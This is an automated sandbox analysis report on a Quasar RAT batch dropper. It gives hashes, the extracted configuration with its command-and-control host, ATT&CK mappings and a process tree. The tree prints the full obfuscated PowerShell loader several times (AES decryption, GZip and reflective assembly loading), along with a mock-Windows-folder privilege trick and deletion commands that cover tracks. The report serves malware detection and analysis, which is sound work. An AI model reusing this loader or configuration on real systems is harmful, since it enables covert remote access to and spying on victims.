quasar | 67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-11-2024 02:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat
Size

535KB
MD5

b9e1a4ea5f3b3fd0b0394183365edf8b
SHA1

79bec6a406682c1385ba71a62e70b5744de0fb76
SHA256

67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86
SHA512

132bcd79be79e2b2fb6319d25f9ae89fc8bda65c9872792181b270cd31ad43998c1a34319e9d2f66e7bf3f035428231644d3c253e6eb1ae30095b64a702cf969
SSDEEP

12288:jdnWhmK+sUu8PzDo84iBk1XZq51gzyqS996PxMdGos+Rcxdj:9WhmFsJ848Zk9KyMdGL+Y5

Score

10^/10

quasar office04 defense_evasion discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4652-91-0x00000000073E0000-0x0000000007704000-memory.dmp	family_quasar

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

16 2884 powershell.exe
23 4652 powershell.exe
24 3164 powershell.exe
26 4652 powershell.exe
28 4652 powershell.exe
32 2884 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

3512 powershell.exe
4652 powershell.exe
2280 powershell.exe
5016 powershell.exe
4712 powershell.exe
3024 powershell.exe
3808 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

ComputerDefaults.exe

pid process

1048 ComputerDefaults.exe
Loads dropped DLL 1 IoCs

Processes:

ComputerDefaults.exe

pid process

1048 ComputerDefaults.exe
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4712 1048 WerFault.exe ComputerDefaults.exe

flow	pid	process
16	2884	powershell.exe
23	4652	powershell.exe
24	3164	powershell.exe
26	4652	powershell.exe
28	4652	powershell.exe
32	2884	powershell.exe

pid	process
3512	powershell.exe
4652	powershell.exe
2280	powershell.exe
5016	powershell.exe
4712	powershell.exe
3024	powershell.exe
3808	powershell.exe

pid	process
1048	ComputerDefaults.exe

pid	process
1048	ComputerDefaults.exe

pid	pid_target	process	target process
4712	1048	WerFault.exe	ComputerDefaults.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exeComputerDefaults.exepowershell.exepowershell.execmd.execmd.execmd.execmd.exepowershell.execmd.exepowershell.execmd.execmd.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2884	powershell.exe
2884	powershell.exe
3512	powershell.exe
3512	powershell.exe
4652	powershell.exe
4652	powershell.exe
4652	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
5016	powershell.exe
5016	powershell.exe
5016	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
3024	powershell.exe
3024	powershell.exe
3024	powershell.exe
3808	powershell.exe
3808	powershell.exe
3808	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	3808	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4652 powershell.exe

pid	process
4652	powershell.exe

Suspicious use of WriteProcessMemory 59 IoCs

Processes:

cmd.exepowershell.execmd.exeComputerDefaults.execmd.execmd.execmd.exepowershell.exepowershell.execmd.exepowershell.exe

description	pid	process	target process
PID 4064 wrote to memory of 3636	4064	cmd.exe	cmd.exe
PID 4064 wrote to memory of 3636	4064	cmd.exe	cmd.exe
PID 4064 wrote to memory of 2884	4064	cmd.exe	powershell.exe
PID 4064 wrote to memory of 2884	4064	cmd.exe	powershell.exe
PID 4064 wrote to memory of 2884	4064	cmd.exe	powershell.exe
PID 2884 wrote to memory of 3512	2884	powershell.exe	powershell.exe
PID 2884 wrote to memory of 3512	2884	powershell.exe	powershell.exe
PID 2884 wrote to memory of 3512	2884	powershell.exe	powershell.exe
PID 2884 wrote to memory of 3464	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 3464	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 3464	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 4940	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 4940	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 4940	2884	powershell.exe	cmd.exe
PID 4940 wrote to memory of 1048	4940	cmd.exe	ComputerDefaults.exe
PID 4940 wrote to memory of 1048	4940	cmd.exe	ComputerDefaults.exe
PID 4940 wrote to memory of 1048	4940	cmd.exe	ComputerDefaults.exe
PID 1048 wrote to memory of 632	1048	ComputerDefaults.exe	cmd.exe
PID 1048 wrote to memory of 632	1048	ComputerDefaults.exe	cmd.exe
PID 1048 wrote to memory of 632	1048	ComputerDefaults.exe	cmd.exe
PID 632 wrote to memory of 3616	632	cmd.exe	cmd.exe
PID 632 wrote to memory of 3616	632	cmd.exe	cmd.exe
PID 632 wrote to memory of 3616	632	cmd.exe	cmd.exe
PID 3464 wrote to memory of 3684	3464	cmd.exe	cmd.exe
PID 3464 wrote to memory of 3684	3464	cmd.exe	cmd.exe
PID 3464 wrote to memory of 3684	3464	cmd.exe	cmd.exe
PID 3464 wrote to memory of 4652	3464	cmd.exe	powershell.exe
PID 3464 wrote to memory of 4652	3464	cmd.exe	powershell.exe
PID 3464 wrote to memory of 4652	3464	cmd.exe	powershell.exe
PID 3616 wrote to memory of 4448	3616	cmd.exe	cmd.exe
PID 3616 wrote to memory of 4448	3616	cmd.exe	cmd.exe
PID 3616 wrote to memory of 4448	3616	cmd.exe	cmd.exe
PID 3616 wrote to memory of 3164	3616	cmd.exe	powershell.exe
PID 3616 wrote to memory of 3164	3616	cmd.exe	powershell.exe
PID 3616 wrote to memory of 3164	3616	cmd.exe	powershell.exe
PID 4652 wrote to memory of 2280	4652	powershell.exe	powershell.exe
PID 4652 wrote to memory of 2280	4652	powershell.exe	powershell.exe
PID 4652 wrote to memory of 2280	4652	powershell.exe	powershell.exe
PID 3164 wrote to memory of 5016	3164	powershell.exe	powershell.exe
PID 3164 wrote to memory of 5016	3164	powershell.exe	powershell.exe
PID 3164 wrote to memory of 5016	3164	powershell.exe	powershell.exe
PID 2884 wrote to memory of 4900	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 4900	2884	powershell.exe	cmd.exe
PID 2884 wrote to memory of 4900	2884	powershell.exe	cmd.exe
PID 3164 wrote to memory of 3500	3164	powershell.exe	cmd.exe
PID 3164 wrote to memory of 3500	3164	powershell.exe	cmd.exe
PID 3164 wrote to memory of 3500	3164	powershell.exe	cmd.exe
PID 3164 wrote to memory of 4712	3164	powershell.exe	powershell.exe
PID 3164 wrote to memory of 4712	3164	powershell.exe	powershell.exe
PID 3164 wrote to memory of 4712	3164	powershell.exe	powershell.exe
PID 3500 wrote to memory of 3440	3500	cmd.exe	cmd.exe
PID 3500 wrote to memory of 3440	3500	cmd.exe	cmd.exe
PID 3500 wrote to memory of 3440	3500	cmd.exe	cmd.exe
PID 3500 wrote to memory of 3024	3500	cmd.exe	powershell.exe
PID 3500 wrote to memory of 3024	3500	cmd.exe	powershell.exe
PID 3500 wrote to memory of 3024	3500	cmd.exe	powershell.exe
PID 3024 wrote to memory of 3808	3024	powershell.exe	powershell.exe
PID 3024 wrote to memory of 3808	3024	powershell.exe	powershell.exe
PID 3024 wrote to memory of 3808	3024	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('iZqoW2CsAJeY9D83aLEj+3rxJ2t2B3ify+RUYbhDZLc='); $aes_var.IV=[System.Convert]::FromBase64String('HqkR8+zl0nkre/D9VtHffg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$cFfgm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$eBtZT=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$Baxky=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($cFfgm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $Baxky.CopyTo($eBtZT); $Baxky.Dispose(); $cFfgm.Dispose(); $eBtZT.Dispose(); $eBtZT.ToArray();}function execute_function($param_var,$param2_var){ IEX '$UGiVy=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$iInyN=$UGiVy.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$iInyN.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$rrktb = 'C:\Users\Admin\AppData\Local\Temp\67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat';$host.UI.RawUI.WindowTitle = $rrktb;$zVxza=[System.IO.File]::ReadAllText($rrktb).Split([Environment]::NewLine);foreach ($vxMZN in $zVxza) { if ($vxMZN.StartsWith('SkRmYQdHVSEYUqjPEfjK')) { $uwpGR=$vxMZN.Substring(20); break; }}$payloads_var=[string[]]$uwpGR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:3636
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\temp\mbbkel3.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Roaming\temp\mbbkel3.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      4⤵
      System Location Discovery: System Language Discovery
      PID:3684
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4652
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2280
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1048
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SC.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:632
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SC.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3616
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('iZqoW2CsAJeY9D83aLEj+3rxJ2t2B3ify+RUYbhDZLc='); $aes_var.IV=[System.Convert]::FromBase64String('HqkR8+zl0nkre/D9VtHffg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$cFfgm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$eBtZT=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$Baxky=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($cFfgm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $Baxky.CopyTo($eBtZT); $Baxky.Dispose(); $cFfgm.Dispose(); $eBtZT.Dispose(); $eBtZT.ToArray();}function execute_function($param_var,$param2_var){ IEX '$UGiVy=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$iInyN=$UGiVy.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$iInyN.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$rrktb = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $rrktb;$zVxza=[System.IO.File]::ReadAllText($rrktb).Split([Environment]::NewLine);foreach ($vxMZN in $zVxza) { if ($vxMZN.StartsWith('SkRmYQdHVSEYUqjPEfjK')) { $uwpGR=$vxMZN.Substring(20); break; }}$payloads_var=[string[]]$uwpGR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4448
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
        7⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3164
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\temp\mbbkel3.cmd" "
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3500
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Roaming\temp\mbbkel3.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3024
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        10⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4712
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1048 -s 1068
        5⤵
        Program crash
        
        PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1048 -ip 1048
1⤵
PID:4044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
938ffc2cba917b243d86b2cf76dcefb4

SHA1
234b53d91d075f16cc63c731eefdae278e2faad3

SHA256
5c1eaf13b15f1d5d1ea7f6c3fcbeff0f8b0faf8b9a620ecd26edb49d667f56ca

SHA512
e4ec928e5943a47739c862e3fd0c4bd9f1f21942e2416269f5057f5df49ce451d90acea39ee5319a0828ca1d944c2eda3eb8e7ab19984c7b8624a58f2111c314

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
3337d66209faa998d52d781d0ff2d804

SHA1
6594b85a70f998f79f43cdf1ca56137997534156

SHA256
9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd

SHA512
8bbd14bd73111f7b55712f5d1e1b727e41db8e6e0c1243ee6809ff32b509e52dec7af34c064151fb5beccd59dda434a3f83abe987c561a25abfbb4cbcf9c7f1f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
9be396418f8f61b53dd025a7cbb90af8

SHA1
9a9fe3c81cea30d326d517ccb5a184255c4731e7

SHA256
d4b1595b904f7036e1319c156ad6fa38210750c4032ba43746976a296af277b8

SHA512
8a479c28b30fa64e475cf6cb976ad7909cb999407f318ff75def95d3b6e12c4ff48fcea20ad6772d150015fae1993fc63d23b235ebdce69022b80a31efd2731d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
6d559c8b7e31ad465a918a899cb86ac7

SHA1
374c95e38eb412356e6b3ad3002717ea93062d53

SHA256
